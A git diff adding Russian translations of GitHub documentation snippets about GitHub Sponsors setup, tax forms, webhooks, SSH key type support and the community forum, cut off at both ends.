**Обновить профиль**. diff --git a/translations/ru-RU/data/reusables/sponsors/save-tier-draft.md b/translations/ru-RU/data/reusables/sponsors/save-tier-draft.md new file mode 100644 index 000000000000..60632dd39f8d --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/save-tier-draft.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 4aac6b42cc61c96f1855d76bdc5256561ff1be4a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067607" +--- +1. Щелкните **Сохранить черновик**. + ![Кнопка "Сохранить черновик"](/assets/images/help/sponsors/save-tier-draft.png) diff --git a/translations/ru-RU/data/reusables/sponsors/select-a-tier.md b/translations/ru-RU/data/reusables/sponsors/select-a-tier.md new file mode 100644 index 000000000000..c79bedf369b6 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/select-a-tier.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 53f82bc1673a34075aa8f3a5a0cfa4cb501585b0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145139862" +--- +1. Нажмите **Выбрать** справа от нужного уровня. Если вы хотите указать другую спонсорскую сумму, введите ее до нажатия кнопки "Выбрать". + ![Поле выбора уровня](/assets/images/help/sponsors/select-a-tier-box.png) diff --git a/translations/ru-RU/data/reusables/sponsors/select-goal-type.md b/translations/ru-RU/data/reusables/sponsors/select-goal-type.md new file mode 100644 index 000000000000..44b6eb895939 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/select-goal-type.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 3a5ef10ee703d24457f8b2b475089be45ae34243 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145067598" +--- +1. В разделе "На чем основывается ваша цель?" выберите **Количество спонсоров** или **Сумма спонсорской поддержки в месяц**. +![Доступные типы целей ](/assets/images/help/sponsors/select-goal-type.png) +2. Введите желаемое количество спонсоров или целевую ежемесячную сумму. +3. В разделе "Опишите свою цель" введите описание своей цели. +![Параметры цели](/assets/images/help/sponsors/goal-settings.png) +5. Если задана целевая сумма спонсорской поддержки в месяц, выберите "Я понимаю, что сумма получаемых мной ежемесячно спонсорских средств будет отображаться публично". +![Флажок, с помощью которого вы подтверждаете, что сумма спонсорских предложений будет отображаться публично](/assets/images/help/sponsors/sponsorships-published-checkbox.png) diff --git a/translations/ru-RU/data/reusables/sponsors/select-sponsorship-billing.md b/translations/ru-RU/data/reusables/sponsors/select-sponsorship-billing.md new file mode 100644 index 000000000000..26b44ffe79ec --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/select-sponsorship-billing.md @@ -0,0 +1 @@ +4. Under "Billing information", review your payment details. Optionally, to change the payment details for your entire account on {% data variables.location.product_location %}, click **Edit**. Then, follow the prompts to complete the payment form. diff --git a/translations/ru-RU/data/reusables/sponsors/send-update-to-sponsors.md b/translations/ru-RU/data/reusables/sponsors/send-update-to-sponsors.md new file mode 100644 index 000000000000..a034b2334ad6 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/send-update-to-sponsors.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 25dbba8a5d53650f7d28426929240e20049c52b0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145067583" +--- +5. При необходимости для отправки сообщений электронной почты спонсорам с определенными уровнями используйте раскрывающееся меню **Все спонсоры** и выберите один или несколько уровней. + ![Раскрывающееся меню для выбора уровней спонсоров](/assets/images/help/sponsors/select-tiers-email.png) diff --git a/translations/ru-RU/data/reusables/sponsors/set-a-goal.md b/translations/ru-RU/data/reusables/sponsors/set-a-goal.md new file mode 100644 index 000000000000..c61fff43257e --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/set-a-goal.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0639ef18cdced34381bd5c33a4894aaa502fc8aa +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145139841" +--- +1. В разделе "Ваши цели" щелкните **Задать цель**. +![Кнопка "Задать цель" ](/assets/images/help/sponsors/set-a-goal-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/settings-tab.md b/translations/ru-RU/data/reusables/sponsors/settings-tab.md new file mode 100644 index 000000000000..fd7a67f5fa34 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/settings-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f0390d5047d21f5877417a8b0b0685c8a2a9133d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067574" +--- +1. На левой боковой панели щелкните **Параметры**. + ![Вкладка "Параметры"](/assets/images/help/sponsors/settings-tab.png) diff --git a/translations/ru-RU/data/reusables/sponsors/short-bio.md b/translations/ru-RU/data/reusables/sponsors/short-bio.md new file mode 100644 index 000000000000..d32adb1abef4 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/short-bio.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8ed9c9c71087e4e2a0e11d19ad3f60e2e760a9cc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139838" +--- +1. В поле "Краткая биография" напишите немного о себе и о вашей работе. + ![Поле "Краткая биография"](/assets/images/help/sponsors/short-bio.png) diff --git a/translations/ru-RU/data/reusables/sponsors/sponsor-account.md b/translations/ru-RU/data/reusables/sponsors/sponsor-account.md new file mode 100644 index 000000000000..15836593ef3a --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/sponsor-account.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 6df58f1e06fee56eb18526a713fa2ecb9bd69515 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067567" +--- +1. Щелкните **Спонсор _УЧЕТНАЯ ЗАПИСЬ_**. + ![Кнопка "Спонсор"](/assets/images/help/sponsors/sponsor-developer-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/sponsors-only-repos.md b/translations/ru-RU/data/reusables/sponsors/sponsors-only-repos.md new file mode 100644 index 000000000000..01b28a5e0c4c --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/sponsors-only-repos.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: dfa10ab03a327dfd6fb00bec355364134fd6130a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067566" +--- +Вы можете предоставить всем спонсорам на уровне доступ к частному репозиторию, добавив этот репозиторий на уровень. diff --git a/translations/ru-RU/data/reusables/sponsors/sponsors-updates-tab.md b/translations/ru-RU/data/reusables/sponsors/sponsors-updates-tab.md new file mode 100644 index 000000000000..4d2bd20d753a --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/sponsors-updates-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 9af403571c6c8ec5912b931d090b18a8db22b47f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067558" +--- +3. На левой боковой панели щелкните **Обновления**. + ![Вкладка "Updates" (Обновления)](/assets/images/help/sponsors/updates-tab.png) diff --git a/translations/ru-RU/data/reusables/sponsors/sponsorship-dashboard.md b/translations/ru-RU/data/reusables/sponsors/sponsorship-dashboard.md new file mode 100644 index 000000000000..a4523272aa91 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/sponsorship-dashboard.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 9f62baf2d7109144ce8827f30a5aefd324b64047 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067550" +--- +1. Перейдите на панель мониторинга спонсорской поддержки для учетной записи. + - Если вы спонсируете личную учетную запись, нажмите кнопку **Спонсорская поддержка** под именем пользователя. + ![Кнопка "Спонсорская поддержка"](/assets/images/help/profile/sponsoring-button.png) + - Если вы спонсируете организацию, нажмите кнопку **Спонсорская поддержка** справа от имени организации. + ![Кнопка "Спонсорская поддержка"](/assets/images/help/sponsors/org-sponsoring-button.png) +1. Если требуется управлять спонсорской поддержкой от имени организации, вы можете выбрать организацию в правой части страницы в меню **Спонсировать от имени**. + ![Раскрывающееся меню для выбора учетной записи, которую вы спонсируете от имени организации](/assets/images/help/sponsors/sponsoring-as-drop-down-menu.png) diff --git a/translations/ru-RU/data/reusables/sponsors/sponsorship-details.md b/translations/ru-RU/data/reusables/sponsors/sponsorship-details.md new file mode 100644 index 000000000000..72e6700015c7 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/sponsorship-details.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 698c4f4857f43049dac7d91c4f0b355acb5d2c79 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067542" +--- +От имени своей личной учетной записи или организации вы можете спонсировать любого пользователя с профилем спонсируемого разработчика или спонсируемой организации. Вы можете выбрать подходящий уровень спонсорства с разовыми или ежемесячными платежами и преимуществами, которые устанавливаются спонсируемой учетной записью. В спонсорском предложении будут использоваться дата выставления счета, способ оплаты и квитанция, которые определены в вашей учетной записи. diff --git a/translations/ru-RU/data/reusables/sponsors/sponsorships-not-tax-deductible.md b/translations/ru-RU/data/reusables/sponsors/sponsorships-not-tax-deductible.md new file mode 100644 index 000000000000..2e53237f52b4 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/sponsorships-not-tax-deductible.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 48f18c41b5467c9e8cff0d06ea5afb79e7f2820e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067536" +--- +В большинстве случаев направляемые на спонсорскую поддержку средства не облагаются налогами, но это не всегда так. {% data variables.product.prodname_dotcom %} не несет ответственности за информирование спонсоров о том, является ли получателем их взносов организация, освобожденная от уплаты налогов, например в соответствии с разделом 501(c)(3) Налогового кодекса США, и подлежат ли такие спонсорские взносы налогообложению. Ответственность за это возлагается на спонсируемого участника разработки открытого кода. diff --git a/translations/ru-RU/data/reusables/sponsors/stripe-supported-regions.md b/translations/ru-RU/data/reusables/sponsors/stripe-supported-regions.md new file mode 100644 index 000000000000..3e7553fee331 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/stripe-supported-regions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 84c3d95574f75287296867936b0b03ad6b491dab +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067529" +--- +Список поддерживаемых регионов см. в разделе [{% data variables.product.prodname_sponsors %}](https://github.com/sponsors#regions). diff --git a/translations/ru-RU/data/reusables/sponsors/tax-form-information-dev.md b/translations/ru-RU/data/reusables/sponsors/tax-form-information-dev.md new file mode 100644 index 000000000000..4a634a62760a --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/tax-form-information-dev.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 55e7ece665d5441bb4b8e8653dc6f009f70f39ee +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881400" +--- +Дополнительные сведения о налоговых формах, которые вам необходимо заполнять, см. в следующих инструкциях, приведенных на веб-сайте Налоговой службы США. + +- [Инструкции по форме W-9](https://www.irs.gov/pub/irs-pdf/iw9.pdf) для лиц, являющихся резидентами США. +- [Инструкции по форме W-8BEN](https://www.irs.gov/pub/irs-pdf/iw8ben.pdf) для лиц, не являющихся резидентами США. diff --git a/translations/ru-RU/data/reusables/sponsors/tax-form-information-org.md b/translations/ru-RU/data/reusables/sponsors/tax-form-information-org.md new file mode 100644 index 000000000000..1717abe0921d --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/tax-form-information-org.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1a0e07dca63a78dfe6445acd008d345b3018777c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145067512" +--- +Дополнительные сведения о налоговых формах, которые заполняют организации, см. в [инструкциях по форме W-8BEN-E](https://www.irs.gov/pub/irs-pdf/iw8bene.pdf) на веб-сайте Налоговой службы США. diff --git a/translations/ru-RU/data/reusables/sponsors/tax-form-link.md b/translations/ru-RU/data/reusables/sponsors/tax-form-link.md new file mode 100644 index 000000000000..fe8dd3b1e164 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/tax-form-link.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 7f6a094f716025d476b71ac761ce418f31e080ac +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067505" +--- +1. Щелкните **налоговые формы**. + ![Ссылка для заполнения налоговой формы](/assets/images/help/sponsors/tax-form-link.png) +2. Заполните, подпишите и отправьте налоговую форму. diff --git a/translations/ru-RU/data/reusables/sponsors/tier-details.md b/translations/ru-RU/data/reusables/sponsors/tier-details.md new file mode 100644 index 000000000000..eb68a4a6c87a --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/tier-details.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 17801362579b28d816e3e5a4a07c1399884814b2 +ms.sourcegitcommit: 474603237fcc20c82947e5c8c68624749c445b21 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/03/2022 +ms.locfileid: "148008745" +--- +Вы можете опубликовать до 10 однократных уровней спонсорства и 10 ежемесячных уровней для спонсоров, чтобы выбрать один из них. Каждый уровень имеет собственную одноразовую или ежемесячную сумму платежа в долларах США. Уровни публикации являются необязательными. + +Для каждого уровня можно настроить вознаграждения. Например, можно определить следующие вознаграждения для уровня: +- ранний доступ к новым версиям; +- включение логотипа или имени в файл README; +- обновления еженедельного бюллетеня; +- другие вознаграждения, которые могут привлечь спонсоров. ✨ + +{% data reusables.sponsors.sponsors-only-repos %} Дополнительные сведения см. в разделе [Добавление репозитория для уровня спонсорского предложения](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers#adding-a-repository-to-a-sponsorship-tier). + +Вы можете добавить приветственное сообщение со сведениями о доступе к вознаграждениям или их получении, которое будет отображаться после оплаты и в приветственном сообщении электронной почты. + +После публикации уровня изменить его цену нельзя. Чтобы сделать это, вам придется прекратить использование уровня и создать вместо него новый. Существующие спонсоры будут оставаться на уровне, использование которого прекращено, до тех пор, пока они не изменят свой уровень спонсорского предложения, не отменят спонсорское предложение или пока не истечет срок действия спонсорского предложения с разовым платежом. diff --git a/translations/ru-RU/data/reusables/sponsors/tier-price-description.md b/translations/ru-RU/data/reusables/sponsors/tier-price-description.md new file mode 100644 index 000000000000..87f5d1568977 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/tier-price-description.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a2572466cec137252209ec64e5e3cf62d60b8ed9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067494" +--- +1. Введите цену за месяц и описание для уровня. + ![Текстовые поля цены и описания для уровня](/assets/images/help/sponsors/tier-price-description.png) diff --git a/translations/ru-RU/data/reusables/sponsors/tier-update.md b/translations/ru-RU/data/reusables/sponsors/tier-update.md new file mode 100644 index 000000000000..404793046308 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/tier-update.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: fc0426980cfcf4c249d5dccb73b3b271fc8c19a3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145067493" +--- +6. Проверьте свой уровень и щелкните **Обновить**. + ![Кнопка "Обновить уровень"](/assets/images/help/sponsors/update-tier-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/update-sponsorship.md b/translations/ru-RU/data/reusables/sponsors/update-sponsorship.md new file mode 100644 index 000000000000..957c0b20a8de --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/update-sponsorship.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e06dd03ee80e511ac9f1b10006126f31b87a5e5d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067488" +--- +1. Щелкните **Обновить спонсорское предложение**. + ![Кнопка "Обновить спонсорское предложение"](/assets/images/help/sponsors/update-sponsorship-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/view-eligible-accounts.md b/translations/ru-RU/data/reusables/sponsors/view-eligible-accounts.md new file mode 100644 index 000000000000..ffaa4cb3bba5 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/view-eligible-accounts.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8d7290b7e8b54ee26a36296bd8bb9cbdecdaeb59 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145069989" +--- +1. Щелкните **Просмотреть соответствующие учетные записи**. + ![Кнопка "Просмотреть соответствующие учетные записи"](/assets/images/help/sponsors/view-eligible-accounts.png) diff --git a/translations/ru-RU/data/reusables/sponsors/webhook-content-formatting.md b/translations/ru-RU/data/reusables/sponsors/webhook-content-formatting.md new file mode 100644 index 000000000000..ab562145ddc0 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/webhook-content-formatting.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8a276d3f7dbc9c9d9b5d4e0de3abdd4a2abb01df +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067482" +--- +4. В разделе «Тип контента» выберите желаемый формат получения данных. Дополнительные сведения см. в меню [Создание веб-перехватчиков](/webhooks/creating/#content-type) ![Меню для форматирования веб-перехватчика](/assets/images/help/sponsors/webhook-content-menu.png) diff --git a/translations/ru-RU/data/reusables/sponsors/webhook-secret-token.md b/translations/ru-RU/data/reusables/sponsors/webhook-secret-token.md new file mode 100644 index 000000000000..e17e6969324d --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/webhook-secret-token.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0b8c0f5e111220a1281def4d8c9d6e394722dd4b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067481" +--- +5. Введите секретный токен. Дополнительные сведения см. в разделе [Обеспечение безопасности веб-перехватчиков](/webhooks/securing/#securing-your-secret-token). + ![Поля для секретного токена и других параметров настройки](/assets/images/help/sponsors/webhook-secret-token.png) diff --git a/translations/ru-RU/data/reusables/sponsors/who-can-see-your-sponsorship.md b/translations/ru-RU/data/reusables/sponsors/who-can-see-your-sponsorship.md new file mode 100644 index 000000000000..29e3ffd5866b --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/who-can-see-your-sponsorship.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 320529aeca740a085f062549fdd68cb782b30590 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139830" +--- +1. Выберите, кто может просматривать ваше спонсорское предложение. diff --git a/translations/ru-RU/data/reusables/sponsors/write-sponsor-update.md b/translations/ru-RU/data/reusables/sponsors/write-sponsor-update.md new file mode 100644 index 000000000000..dbd3a4a672ab --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/write-sponsor-update.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: dfb1f9bc02d85723d870be233f61114864d8d22b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145069988" +--- +6. Введите тему и текст сообщения для обновления. + ![Поля темы и текста](/assets/images/help/sponsors/subject-body-update.png) diff --git a/translations/ru-RU/data/reusables/sponsors/you-can-be-a-sponsored-developer.md b/translations/ru-RU/data/reusables/sponsors/you-can-be-a-sponsored-developer.md new file mode 100644 index 000000000000..932bb90a085d --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/you-can-be-a-sponsored-developer.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 37322983fd7090615ab345d87de526a5463a84c3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145067475" +--- +Любой, кто участвует в работе над проектом с открытым кодом и живет в поддерживаемом регионе, имеет право стать спонсируемым разработчиком. Под участием понимаются сообщения об ошибках, рассмотрение проблем, код, документация, руководство, развитие бизнеса, управление проектами, наставничеством, проектирование и т. д. Если вы живете в регионе, который {% data variables.product.prodname_sponsors %} пока не поддерживает, вы можете записаться в список ожидания для участия в бета-тестировании {% data variables.product.prodname_sponsors %}. diff --git a/translations/ru-RU/data/reusables/sponsors/you-can-be-a-sponsored-organization.md b/translations/ru-RU/data/reusables/sponsors/you-can-be-a-sponsored-organization.md new file mode 100644 index 000000000000..4668b9419b3f --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/you-can-be-a-sponsored-organization.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 22ad119d4e9f3988f0675aa2ec4cfec28669fd4c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139825" +--- +Любая организация, которая участвует в работе над проектом с открытым кодом и законно работает в поддерживаемом регионе, имеет право стать спонсируемой организацией. Если ваша организация работает в регионе, который {% data variables.product.prodname_sponsors %} пока не поддерживает, добавьте ее в список ожидания [{% data variables.product.prodname_sponsors %}](https://github.com/sponsors). diff --git a/translations/ru-RU/data/reusables/sponsors/your-sponsors-tab.md b/translations/ru-RU/data/reusables/sponsors/your-sponsors-tab.md new file mode 100644 index 000000000000..6177337154e5 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/your-sponsors-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: cfd6d7e61c913bea5fbdab2d22c360b1f0c6f847 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145069985" +--- +1. На левой боковой панели щелкните **Ваши спонсоры**. + ![Вкладка "Спонсоры"](/assets/images/help/sponsors/your-sponsors-tab.png) diff --git a/translations/ru-RU/data/reusables/ssh/about-ssh.md b/translations/ru-RU/data/reusables/ssh/about-ssh.md new file mode 100644 index 000000000000..95040d6fd370 --- /dev/null +++ b/translations/ru-RU/data/reusables/ssh/about-ssh.md @@ -0,0 +1 @@ +You can access and write data in repositories on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} using SSH (Secure Shell Protocol). When you connect via SSH, you authenticate using a private key file on your local machine. diff --git a/translations/ru-RU/data/reusables/ssh/add-ssh-key-to-ssh-agent.md b/translations/ru-RU/data/reusables/ssh/add-ssh-key-to-ssh-agent.md new file mode 100644 index 000000000000..0e8bc521ed81 --- /dev/null +++ b/translations/ru-RU/data/reusables/ssh/add-ssh-key-to-ssh-agent.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b775e632eb149afb7c5c566cb3634c0f6d45ade6 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145069984" +--- +Если вы создали ключ с другим именем или добавляете существующий ключ с другим именем, замените *id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}* в команде на имя файла закрытого ключа. diff --git a/translations/ru-RU/data/reusables/ssh/key-type-support.md b/translations/ru-RU/data/reusables/ssh/key-type-support.md new file mode 100644 index 000000000000..2c2295e0baf0 --- /dev/null +++ b/translations/ru-RU/data/reusables/ssh/key-type-support.md @@ -0,0 +1,28 @@ +{% ifversion fpt or ghec %} +{% note %} + +**Note:** {% data variables.product.company_short %} improved security by dropping older, insecure key types on March 15, 2022. + +As of that date, DSA keys (`ssh-dss`) are no longer supported. You cannot add new DSA keys to your personal account on {% data variables.location.product_location %}. + +RSA keys (`ssh-rsa`) with a `valid_after` before November 2, 2021 may continue to use any signature algorithm. RSA keys generated after that date must use a SHA-2 signature algorithm. Some older clients may need to be upgraded in order to use SHA-2 signatures. + +{% endnote %} + +{% elsif ghes = 3.6 or ghes = 3.7 or ghes = 3.8 %} + +{% note %} + +**Note**: By default with {% data variables.product.product_name %} 3.6 and later, as of the cutoff date of midnight UTC on August 1, 2022, SSH connections that satisfy **both** of the following conditions will fail. + +
+ +{% data reusables.ssh.rsa-sha-1-connection-failure-criteria %} + +{% data variables.product.product_name %} 3.6 and later also does not support SSH connections that use DSA, HMAC-SHA-1, or CBC ciphers. RSA SSH keys uploaded before the cutoff date can continue to authenticate using the SHA-1 hash function as long as the key remains valid. For more information about finding the version of {% data variables.product.product_name %} that you use, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs#github-enterprise-server)." + +Your site administrator can adjust the cutoff date for connections using RSA-SHA-1, and may block all connections using RSA-SHA-1. For more information, contact your site administrator or see "[Configuring SSH connections to your instance](/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance)." + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/ssh/rsa-sha-1-connection-failure-criteria.md b/translations/ru-RU/data/reusables/ssh/rsa-sha-1-connection-failure-criteria.md new file mode 100644 index 000000000000..b08eeab7b8c3 --- /dev/null +++ b/translations/ru-RU/data/reusables/ssh/rsa-sha-1-connection-failure-criteria.md @@ -0,0 +1,2 @@ +- The RSA key was added to a user account on {% data variables.location.product_location %} after the cutoff date of midnight UTC on August 1, 2022. +- The SSH client signs the connection attempt with the SHA-1 hash function. diff --git a/translations/ru-RU/data/reusables/stars/stars-page-navigation.md b/translations/ru-RU/data/reusables/stars/stars-page-navigation.md new file mode 100644 index 000000000000..a98cc11d2cab --- /dev/null +++ b/translations/ru-RU/data/reusables/stars/stars-page-navigation.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8e0f059cbda0d20f2a343a6ca7c0e482de70af75 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145069981" +--- +1. В правом верхнем углу любой страницы нажмите на свою фотографию профиля и выберите **Ваши звезды**. + ![Снимок экрана: звезды в раскрывающемся меню](/assets/images/help/stars/navigate-to-stars-page.png) diff --git a/translations/ru-RU/data/reusables/support/ask-and-answer-forum.md b/translations/ru-RU/data/reusables/support/ask-and-answer-forum.md new file mode 100644 index 000000000000..81ddec2880a7 --- /dev/null +++ b/translations/ru-RU/data/reusables/support/ask-and-answer-forum.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 87f01fc432fa7b55c4fc8a9780d2aad80332b49c +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145067463" +--- +Вы можете общаться с разработчиками по всему миру, задавать вопросы и отвечать на них, учиться и взаимодействовать с сотрудниками {% data 